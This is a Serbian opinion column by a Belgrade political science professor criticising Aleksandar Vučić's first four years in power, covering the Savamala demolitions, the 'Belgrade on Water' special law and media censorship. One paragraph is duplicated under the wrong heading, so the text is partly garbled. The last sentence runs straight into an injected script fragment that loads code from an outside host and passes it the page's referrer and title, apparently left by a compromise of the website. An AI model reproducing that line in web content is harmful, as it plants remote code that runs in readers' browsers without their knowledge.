SKUPŠTINSKA HRONIKA, VLADIMIR PAVIĆEVIĆ: Šta je donelo prvo poluvreme vladavine Aleksandra Vučića

Od ove nedelje redovne kolumne za Ekspres.net pisaće Vlado Pavićević, profesor Fakulteta političkih nauka u Beogradu i poslanik prošlog saziva Skupštine Srbije. Nakon što je podneo ostavku na funkciju potpredsednika u Novoj stranci, kao moralni čin nakon loših izbornih rezultata koje je ova stranka ostvarila u koaliciji sa DS, Pavićević se vratio obavezama na fakultetu i u Beogradskoj otvorenoj školi, a njegove tekstove moći ćete ubuduće na našem portalu da čitate svakog utorka...

Pobeda Tomislava Nikolića na predsedničkim izborima u maju 2012. godine označila je početak širenja političke moći Aleksandra Vučića. U Vladi Srbije, koja je formirana nakon parlamentarnih izbora te godine, Vučić je postao njen prvi potpredsednik i najmoćniji član. Dve godine kasnije zatražio je da se organizuju vanredni parlamentarni izbori i nakon njih postao je predsednik Vlade i tada i formalno njen najmoćniji član. Dve godine nakon vanrednih parlamentarnih izbora zatražio je nove vanredne parlamentarne izbore i dobio još jednu šansu da formira još jednu novu vladu.

Prvo poluvreme bez golova

U dve vlade u kojima je bio ili predsednik ili prvi potpredsednik bilo je više rekonstrukcija, ostavki i zamena ministara. Teško je zamisliti da bi neko, bez ozbiljnijeg pretraživanja, mogao da se podseti ko je sve u prethodne četiri godine bio na čelu ministarstava finansija, privrede ili odbrane. U četiri godine imali smo dve vlade i veliki broj ministara koji su na smenu obavljali poslove u najvišim organima državne uprave.

Ukoliko koristimo kriterijume koji važe u konsolidovanim demokratijama, četiri godine jesu mera jednog mandata jedne vlade. Ako se pridržavamo tih kriterijuma, Vučić je onda u prethodna dva mandata odigrao prvo poluvreme svoje ključne političke utakmice i nakon aprilskih parlamentarnih izbora ove godine očekujemo da odigra drugo. U iščekivanju konstituisanja novog skupštinskog saziva i nove Vučićeve vlade, vredno je izdvojiti neke upečatljive momente Vučićevog prvog poluvremena.

Savamala – krah vladavine prava

Četvorogodišnja vladavina Aleksandra Vučića bi se gotovo mogla sumirati u noći nakon okončanih vanrednih parlamentarnih izbora 2016. godine. Na nekoliko sati, grupa ljudi sa fantomkama na glavama je, kako je utvrdio Zaštitnik građana Saša Janković, faktički preuzela vlast nad delom Beograda koji se zove Savamala, rušeći objekte i nasrćući na građane koji su se tu zatekli, nakon čega je izostala obavezna intervencija službe Policije.

Ni ceo mesec nakon ovog događaja ne zna se ko su ljudi koji su izvršili nasilje u Savamali i zašto službenici Policije nisu preduzeli odgovarajuće mere radi zaštite prava i sloboda građana i sprečavanja lica sa fantomkama da povređuju privatnu imovinu drugih lica. Slučaj Savamale je slika divljine i vlasti koja ili toleriše ili čak promoviše brutalizaciju i banditske mehanizme rešavanja problema u zajednici. Sila i nasilje u rukama još uvek neidentifikovane grupe ljudi koji su rušili po Beogradu je u četiri godine Vučićeve vlasti najjači dokaz da je u Srbiji, od ranije krnju vladavinu prava zamenila - vladavina gole sile.

 Beograd na vodi – šamar struci

Četvorogodišnja vladavina Aleksandra Vučića bi se gotovo mogla sumirati u noći nakon okončanih izbora. Na nekoliko sati, grupa ljudi sa fantomkama je faktički preuzela vlast nad delom Beograda koji se zove Savamala, rušeći objekte i nasrćući na građane, nakon čega je izostala intervencija Policije.

U aprilu 2015. godine u Narodnoj skupštini je predsednik Vlade branio lex specialis kojim se uređuje utvrđivanje javnog interesa za eksproprijaciju nepokretnosti radi realizacije „Beograda na vodi“. Reč je o antimodernizacijskom predlogu kojim je najjače ošamarena struka. Mnogi urbanisti i arhitekte su nedeljama argumentovali da je „Beograd na vodi“ u arhitektonskom, morfološkom i urbanističkom smislu strano tkivo u telu Beograda. Da predstavlja udar na dva veka urbanog razvoja Beograda. Da se nikada u dva veka beogradske arhitekture nije desilo da počinje izgradnja na osnovu makete. Da ni Tito nije takve stvari radio sam, već da je konsultovao ljude koji znaju.

Suprotno stavovima stručnjaka, pojedinaca koji su nesporni autoriteti u oblasti arhitekture i urbanizma, lex specialis je usvojen. „Beograd na vodi“ nije izdržao ni proveru konkursa ni kriterijume struke i takav je postao simbol naprednjačke vlasti. Vlasti koja stručno mišljenje doživljava kao pretnju i najgoru nepogodu.

Cenzura i autocenzura u medijima

Onoga momenta kada je autorska emisija novinarke Olje Bećković sklonjena, postalo je jasno da  imamo posla sa vlašću koja kritiku ne može da podnese.

Najsnažniji dokazi za tvrdnju da vlast ruši slobodu izražavanja mogu se pronaći u svedočenjima kako Olje Bećković, tako i drugih novinara, kao i u izveštajima Evropske komisije o napretku Srbije na putu ka Evropskoj uniji u 2015. godini i Saveta za borbu protiv korupcije u kojem su identifikovani ključni problemi koji parališu sistem javnog informisanja u Srbiji.

U izveštaju Evropske komisije piše da u polju slobode izražavanja u 2015. godini u našoj državi nije postignut nikakav napredak. Da se novinari u Srbiji suočavaju sa zastrašivanjem i nasiljem. Da nejasno vlasništvo, neregulisano finansiranje, tajni i otvoreni politički i ekonomski uticaji na medije i preusmeravanje novca favorizovanim medijima iz različitih državnih izvora i dalje predstavljaju odlike medijskog okruženja.

U izveštaju Saveta za borbu protiv korupcije, koji je telo Vlade Srbije, precizno je argumentovano da postoji pet sistemskih problema koji parališu polje javnog informisanja u Srbiji. To su: (1) netransparentnost medijskog vlasništva, (2) netransparentnost finansiranja, ekonomski uticaji kroz budžet, poreske olakšice i drugi indirektni oblici finansiranja javnim novcem, (3) problemi privatizacije medija i neizvestan status javnih servisa, (4) cenzura i autocenzura, i (5) tabloidizacija.

Uoči drugog poluvremena

Prvo poluvreme je bilo razočaravajuće. To će reći svako ko Srbiju stvarno želi da vidi kao savremenu, demokratsku državu. Mnogo toga urađenog u periodu od 2012. do 2016. godine udaljilo nas je od ideala savremenih država i društava. Teški naprednjački udari na vladavinu prava i parlamentarizam, šamaranje struke i gušenje slobode izražavanja ne obećavaju dobro u nastavku.

Drugačiji pristup politici potpuno je sada otvoren predstavnicima opozicionih političkih formacija. Novi skupštinski saziv će biti i raznovrsniji od prethodnog. Kritika bi trebalo da bude izraženija i usmerena ka pokušajima snažnije kontrole prenapregnute vlasti. Koristilo bi građanima Srbije da se novi autoritarizam naprednjačke Srbije ukroti mehanizmima koje podrazumeva parlamentarna demokratija. Da se stavi tačka na vladavinu čoveka i probudi vera u vladavinu zakona.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';